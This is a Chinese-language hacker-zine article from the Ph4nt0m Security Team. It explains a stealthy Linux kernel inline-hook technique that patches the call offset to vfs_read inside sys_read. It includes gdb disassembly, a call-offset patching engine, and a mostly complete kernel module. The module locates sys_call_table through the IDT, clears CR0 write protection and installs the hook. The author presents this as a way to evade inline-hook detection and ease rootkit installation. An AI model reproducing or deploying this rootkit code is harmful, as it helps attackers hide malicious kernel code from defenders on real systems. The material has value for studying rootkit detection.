==Ph4nt0m Security Team==

Issue 0x02, Phile #0x05 of 0x0A

|=----------=|
|=----------=[高级 Linux kernel inline hook 技术]=----------=|
|=----------=|
|=----------=|
|=----------=[By wzt]=----------=|
|=----------=[<wzt_at_xsec.org>]=----------=|
|=----------=|

一. 简述

目前流行和成熟的 kernel inline hook 技术就是修改内核函数的 opcode，通过写入 jmp 或 push ret 等指令跳转到新的内核函数中，从而达到修改或过滤的功能。这些技术的共同点就是都会覆盖原有的指令，这样很容易在函数中通过查找 jmp，push ret 等指令来查出来，因此这种 inline hook 方式不够隐蔽。本文将使用一种高级 inline hook 技术来实现更隐蔽的 inline hoo 技术。

二. 更改 offset 实现跳转

如何不给函数添加或覆盖新指令，就能跳转到我们新的内核函数中去呢？我们知道实现一个
系统调用的函数中不可能把所有功能都在这个函数中全部实现，它必定要调用它的下层函数。如果这个下层函数也可以得到我们想要的过滤信息等内容的话，就可以把下层函数在上层函数中的 offset 替换成我们新的函数的 offset，这样上层函数调用下层函数时，就会跳到我们新的函数中，在新的函数中做过滤和劫持内容的工作。原理是这样的，具体来分析它该怎么实现，我们去看看 sys_read 的具体实现：

```
linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
        struct file *file;
        ssize_t ret = -EBADF;
        int fput_needed;

        file = fget_light(fd, &fput_needed);
        if (file) {
                loff_t pos = file_pos_read(file);
                ret = vfs_read(file, buf, count, &pos);
                file_pos_write(file, pos);
```

```
                fput_light(file, fput_needed);
        }

        return ret;
}
EXPORT_SYMBOL_GPL(sys_read);
```

我们看到 sys_read 最终是要调用下层函数 vfs_read 来完成读取数据的操作，所以我们不需要给
sys_read 添加或覆盖指令，而是要更改 vfs_read 在 sys_read 代码中的 offset 就可以跳转到我们
新的 new_vfs_read 中去。如何修改 vfs_read 的 offset 呢？先反汇编下 sys_read 看看：

```
[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xfffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
```

```
0xc106dca3 <sys_read+73>:    cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:    pop    %eax
0xc106dca8 <sys_read+78>:    je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:    mov    %ebx,%eax
0xc106dcac <sys_read+82>:    call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:    lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:    mov    %esi,%eax
0xc106dcb6 <sys_read+92>:    pop    %ebx
0xc106dcb7 <sys_read+93>:    pop    %esi
0xc106dcb8 <sys_read+94>:    pop    %ebp
0xc106dcb9 <sys_read+95>:    ret
End of assembler dump.
(gdb)

0xc106dc90 <sys_read+54>:    call   0xc106d75c <vfs_read>
```

通过 call 指令来跳转到 vfs_read 中去。0xc106d75c 是 vfs_read 的内存地址。所以只要把这个地址替换成我们的新函数地址，当 sys_read 执行这块的时候，就会跳转到我们的函数来了。

下面给出我写的一个 hook 引擎，来完成查找和替换 offset 的功能。原理就是搜索 sys_read 的 opcode，如果发现是 call 指令，根据 call 后面的 offset 重新计算要跳转的地址是不是我们要 hook 的函数地址，如果是就重新计算新函数的 offset，用新的 offset 替换原来的 offset。从而完成跳转功能。

参数 handler 是上层函数的地址，这里就是 sys_read 的地址，old_func 是要替换的函数地址，这里就是 vfs_read, new_func 是新函数的地址，这里就是 new_vfs_read 的地址。

```
unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
        unsigned int new_func)
{
    unsigned char *p = (unsigned char *)handler;
    unsigned char buf[4] = "\x00\x00\x00\x00";
    unsigned int offset = 0;
    unsigned int orig = 0;
    int i = 0;

    DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

    while (1) {
        if (i > 512)
            return 0;

        if (p[0] == 0xe8) {
            DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
```

```
                DbgPrint("*** hook engine: call addr: 0x%08x\n",
                        (unsigned int)p);
                buf[0] = p[1];
                buf[1] = p[2];
                buf[2] = p[3];
                buf[3] = p[4];

                DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
                        p[1], p[2], p[3], p[4]);

                        offset = *(unsigned int *)buf;
                        DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

                        orig = offset + (unsigned int)p + 5;
                        DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

                if (orig == old_func) {
                        DbgPrint("*** hook engine: found old func at"
                                " 0x%08x\n",
                                old_func);

                        DbgPrint("%d\n", i);
                        break;
                }
        }
        p++;
        i++;
    }

    offset = new_func - (unsigned int)p - 5;
    DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

    p[1] = (offset & 0x000000ff);
    p[2] = (offset & 0x0000ff00) >> 8;
    p[3] = (offset & 0x00ff0000) >> 16;
    p[4] = (offset & 0xff000000) >> 24;

    DbgPrint("*** hook engine: pachted new func offset.\n");

    return orig;
}
```

使用这种方法，我们仅改了函数的一个 offset，没有添加和修改任何指令，传统的 inline hook 检查思路都已经失效。

三. 补充

这种通过修改 offset 的来实现跳转的方法，需要知道上层函数的地址，在上面的例子中 sys_read 和 vfs_read 在内核中都是导出的，因此可以直接引用它们的地址。但是如果想 hook 没有导出的函数时，不仅要知道上层函数的地址，还要知道下层函数的地址。因此给 rootkit 的安装稍微带了点麻烦。不过，可以通过读取/proc/kallsyms 或 system map 来查找函数地址。

四. 实例

下面是 hook sys_read 的部分代码实现，读者可以根据思路来补充完整。

```
/*
    My hook engine v0.20

    by wzt    <wzt@xsec.org>

        tested on    amd64 as5, x86 as4,5
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "hook.h"

ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
```

```
                loff_t *pos);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
int hook_vfs_read_flag = 1;

unsigned int get_sct_addr(void)
{
        int i = 0, ret = 0;

        for (; i < 500; i++) {
                if ((*(unsigned char*)(system_call_addr + i) == 0xff)
                        && (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
                        && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
                        ret = *(unsigned int *)(system_call_addr + i + 3);
                        break;
                }
        }

        return ret;
}

ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
        loff_t *pos)
{
    ssize_t ret;

    ret = (*orig_vfs_read)(file, buf, count, pos);
        if (ret > 0) {
        DbgPrint("hello, world.\n");
        }

    return ret;
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
        unsigned int new_func)
{
    unsigned char *p = (unsigned char *)handler;
    unsigned char buf[4] = "\x00\x00\x00\x00";
    unsigned int offset = 0;
    unsigned int orig = 0;
```

```
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

while (1) {
	if (i > 512)
		return 0;

	if (p[0] == 0xe8) {
		DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

		DbgPrint("*** hook engine: call addr: 0x%08x\n",
			(unsigned int)p);
		buf[0] = p[1];
		buf[1] = p[2];
		buf[2] = p[3];
		buf[3] = p[4];

		DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
			p[1], p[2], p[3], p[4]);

			offset = *(unsigned int *)buf;
			DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

			orig = offset + (unsigned int)p + 5;
			DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

		if (orig == old_func) {
			DbgPrint("*** hook engine: found old func at"
				" 0x%08x\n",
				old_func);

			DbgPrint("%d\n", i);
			break;
		}
	}
	p++;
	i++;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

p[1] = (offset & 0x000000ff);
```

```
        p[2] = (offset & 0x0000ff00) >> 8;
        p[3] = (offset & 0x00ff0000) >> 16;
        p[4] = (offset & 0xff000000) >> 24;

        DbgPrint("*** hook engine: pachted new func offset.\n");

        return orig;
}

static int hook_init(void)
{
        struct descriptor_idt *pIdt80;

                __asm__ volatile ("sidt %0": "=m" (idt48));

        pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

                system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
        if (!system_call_addr) {
                DbgPrint("oh, shit! can't find system_call address.\n");
                return 0;
        }
                DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

                sys_call_table_addr = get_sct_addr();
        if (!sys_call_table_addr) {
                DbgPrint("oh, shit! can't find sys_call_table address.\n");
                return 0;
        }
                DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

                sys_call_table = (void **)sys_call_table_addr;

        sys_read_addr = (unsigned int)sys_call_table[__NR_read];

        DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);

                lock_kernel();
                CLEAR_CR0

        if (sys_read_addr) {
                        orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
                                        (unsigned int)vfs_read, (unsigned int)new_vfs_read);
                if ((unsigned int)orig_vfs_read == 0)
```

```
                hook_vfs_read_flag = 0;
        }

                SET_CR0
                unlock_kernel();

        DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
        DbgPrint("install hook ok.\n");

                return 0;
}

static void hook_exit(void)
{
                lock_kernel();
                CLEAR_CR0

                if (hook_vfs_read_flag)
                patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
                        (unsigned int)vfs_read);

                SET_CR0
                unlock_kernel();

        DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

-EOF-
```